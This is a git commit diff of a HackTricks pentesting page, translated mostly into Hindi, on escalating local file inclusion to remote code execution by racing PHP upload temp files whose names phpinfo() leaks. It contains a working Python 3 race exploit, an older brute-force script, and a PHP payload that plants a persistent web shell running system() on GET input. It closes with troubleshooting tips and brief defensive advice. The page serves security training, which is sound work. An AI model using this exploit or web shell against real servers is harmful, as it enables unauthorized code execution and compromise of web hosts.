Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:52:03 +00:00
parent d5724ff8af
commit d43dcd801e

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
इस कमजोरियों का लाभ उठाने के लिए आपको आवश्यकता है: **एक LFI कमजोरी, एक पृष्ठ जहाँ phpinfo() प्रदर्शित होता है, "file_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।** To exploit this technique you need all of the following:
- एक पहुँच योग्य पृष्ठ जो phpinfo() आउटपुट प्रदर्शित करे।
- एक Local File Inclusion (LFI) primitive जिससे आप नियंत्रित कर सकें (उदा., include/require on user input)।
- PHP file uploads सक्षम हों (file_uploads = On)। कोई भी PHP script RFC1867 multipart uploads स्वीकार करेगा और प्रत्येक uploaded part के लिए एक temporary file बनाएगा।
- PHP worker को configured upload_tmp_dir (या default system temp directory) में लिखने में सक्षम होना चाहिए और आपका LFI उस path को include कर सके।
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
**ट्यूटोरियल HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
आपको एक्सप्लॉइट को ठीक करने की आवश्यकता है ( **=>** को **=>** में बदलें)। ऐसा करने के लिए आप कर सकते हैं: Notes about the original PoC
- phpinfo() आउटपुट HTML-encoded होता है, इसलिए "=>" अक्सर "=>" के रूप में दिखाई देता है। यदि आप legacy scripts पुन: उपयोग करते हैं, तो सुनिश्चित करें कि वे _FILES[tmp_name] value को parse करते समय दोनों encodings की खोज करें।
- आपको payload (आपका PHP code), REQ1 (phpinfo() endpoint के लिए request जिसमें padding शामिल है), और LFIREQ (आपके LFI sink के लिए request) को अनुकूलित करना होगा। कुछ targets को null-byte (%00) terminator की आवश्यकता नहीं होती और आधुनिक PHP versions इसे मान्य नहीं करेंगे। LFIREQ को vulnerable sink के अनुसार समायोजित करें।
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
``` ```
आपको **payload** को भी बदलना होगा जो हमले की शुरुआत में है (उदाहरण के लिए, php-rev-shell के लिए), **REQ1** (यह phpinfo पृष्ठ की ओर इशारा करना चाहिए और इसमें padding शामिल होनी चाहिए, यानी: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), और **LFIREQ** (यह LFI भेद्यता की ओर इशारा करना चाहिए, यानी: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ जब null char का शोषण करते समय डबल "%" की जांच करें)
{{#file}} {{#file}}
LFI-With-PHPInfo-Assistance.pdf LFI-With-PHPInfo-Assistance.pdf
{{#endfile}} {{#endfile}}
### सिद्धांत ## सिद्धांत
यदि PHP में अपलोड की अनुमति है और आप एक फ़ाइल अपलोड करने की कोशिश करते हैं, तो यह फ़ाइल एक अस्थायी निर्देशिका में संग्रहीत होती है जब तक कि सर्वर अनुरोध को संसाधित नहीं कर लेता, फिर यह अस्थायी फ़ाइल हटा दी जाती है। - जब PHP को multipart/form-data POST में कोई file field मिलता है, तो यह कंटेंट को एक temporary file में लिखता है (upload_tmp_dir या OS default) और उसका path $_FILES['<field>']['tmp_name'] में प्रकट करता है। फाइल request के अंत में अपने आप हटा दी जाती है जब तक कि उसे स्थानांतरित/पुनःनामित न किया गया हो।
- चाल यह है कि temporary नाम ज्ञात करें और PHP उसे साफ करने से पहले अपने LFI के जरिए उसे include करें। phpinfo() $_FILES को प्रिंट करता है, जिसमें tmp_name भी शामिल है।
- request headers/parameters (padding) बढ़ाकर आप phpinfo() आउटपुट के शुरुआती chunks को request खत्म होने से पहले client पर flush करा सकते हैं, ताकि आप तब tmp_name पढ़ सकें जब temp file अभी मौजूद हो और फिर तुरंत उसी path के साथ LFI को हिट कर सकें।
फिर, यदि आपने वेब सर्वर में LFI भेद्यता पाई है, तो आप अस्थायी फ़ाइल के नाम का अनुमान लगाने की कोशिश कर सकते हैं और इसे RCE का शोषण करते हुए अस्थायी फ़ाइल तक पहुँच सकते हैं इससे पहले कि इसे हटा दिया जाए। Windows में temp फाइलें आमतौर पर C:\\Windows\\Temp\\php*.tmp जैसी जगहों पर होती हैं। Linux/Unix में वे सामान्यतः /tmp में या upload_tmp_dir में configured डायरेक्टरी में होती हैं
**Windows** में फ़ाइलें आमतौर पर **C:\Windows\temp\php** में संग्रहीत होती हैं। ## हमला कार्यप्रवाह (कदम-दर-कदम)
**Linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **कहीं से अस्थायी फ़ाइल का नाम निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है। 1) एक छोटा सा PHP payload तैयार करें जो तेज़ी से एक shell को persist कर दे ताकि race हारने से बचा जा सके (फाइल लिखना आमतौर पर एक reverse shell की तुलना में तेज़ होता है):
**phpinfo()**
**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **बहुत सारे बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर फ़ाइल को हटाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**
**नाम को ब्रूटफोर्स करने के लिए Python स्क्रिप्ट (यदि लंबाई = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
``` ```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) phpinfo() पेज पर सीधे एक बड़ा multipart POST भेजें ताकि यह आपके payload वाले एक temp file बना दे. early output को प्रेरित करने के लिए विभिन्न headers/cookies/params में ~510KB padding जोड़ें. सुनिश्चित करें कि form field का नाम उसी से मेल खाता हो जिसे आप $_FILES में पार्स करेंगे.
3) जबकि phpinfo() response अभी भी streaming कर रहा होता है, partial body को पार्स करके $_FILES['<field>']['tmp_name'] (HTML-encoded) निकालें. जैसे ही आपके पास पूरा absolute path (उदा., /tmp/php3Fz9aB) आ जाए, अपना LFI फायर कर के उस path को include करवाएँ. अगर include() temp file को उसके delete होने से पहले execute कर दे, तो आपका payload चल जाएगा और /tmp/.p.php बन जाएगा.
4) बने हुए file का उपयोग करें: GET /vuln.php?include=/tmp/.p.php&x=id (या जहाँ भी आपका LFI उसे include करने देता है) ताकि कमांड्स विश्वसनीय रूप से execute हों.
> टिप्स
> - race जीतने की आपकी संभावनाएँ बढ़ाने के लिए एक साथ कई concurrent workers का उपयोग करें.
> - Padding रखने की सामान्य रूप से मदद करने वाली जगहें: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. लक्ष्य के अनुसार इसे tune करें.
> - अगर vulnerable sink कोई extension (उदा., .php) append करता है, तो आपको null byte की जरूरत नहीं है; include() temp file के extension की परवाह किए बिना PHP को execute कर देगा.
## न्यूनतम Python 3 PoC (socket-based)
नीचे दिया गया snippet महत्वपूर्ण हिस्सों पर केंद्रित है और legacy Python2 script की तुलना में इसे adapt करना आसान है. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), और PAYLOAD को customize करें.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Troubleshooting
- You never see tmp_name: सुनिश्चित करें कि आप वास्तव में phpinfo() को multipart/form-data के साथ POST कर रहे हैं। phpinfo() केवल तब $_FILES प्रिंट करता है जब कोई upload फ़ील्ड मौजूद था।
- Output doesnt flush early: padding बढ़ाएँ, अधिक बड़े headers जोड़ें, या कई concurrent requests भेजें। कुछ SAPIs/buffers बड़े thresholds तक flush नहीं करेंगे; तदनुसार समायोजित करें।
- LFI path blocked by open_basedir or chroot: आपको LFI को किसी allowed path की तरफ निर्देशित करना होगा या दूसरे LFI2RCE vector पर स्विच करना होगा।
- Temp directory not /tmp: phpinfo() पूरा absolute tmp_name path प्रिंट करता है; LFI में उसी exact path का उपयोग करें।
## रक्षात्मक नोट्स
- Never expose phpinfo() in production. यदि आवश्यक हो, तो IP/auth के द्वारा सीमित करें और उपयोग के बाद हटा दें।
- यदि आवश्यक न हो तो file_uploads को disabled रखें। अन्यथा, upload_tmp_dir को उस path तक सीमित रखें जो application में include() द्वारा पहुंच योग्य न हो और किसी भी include/require paths पर कड़ा validation लागू करें।
- किसी भी LFI को क्रिटिकल मानें; phpinfo() न होने पर भी अन्य LFI→RCE paths मौजूद हैं।
## संबंधित HackTricks techniques
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## संदर्भ
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}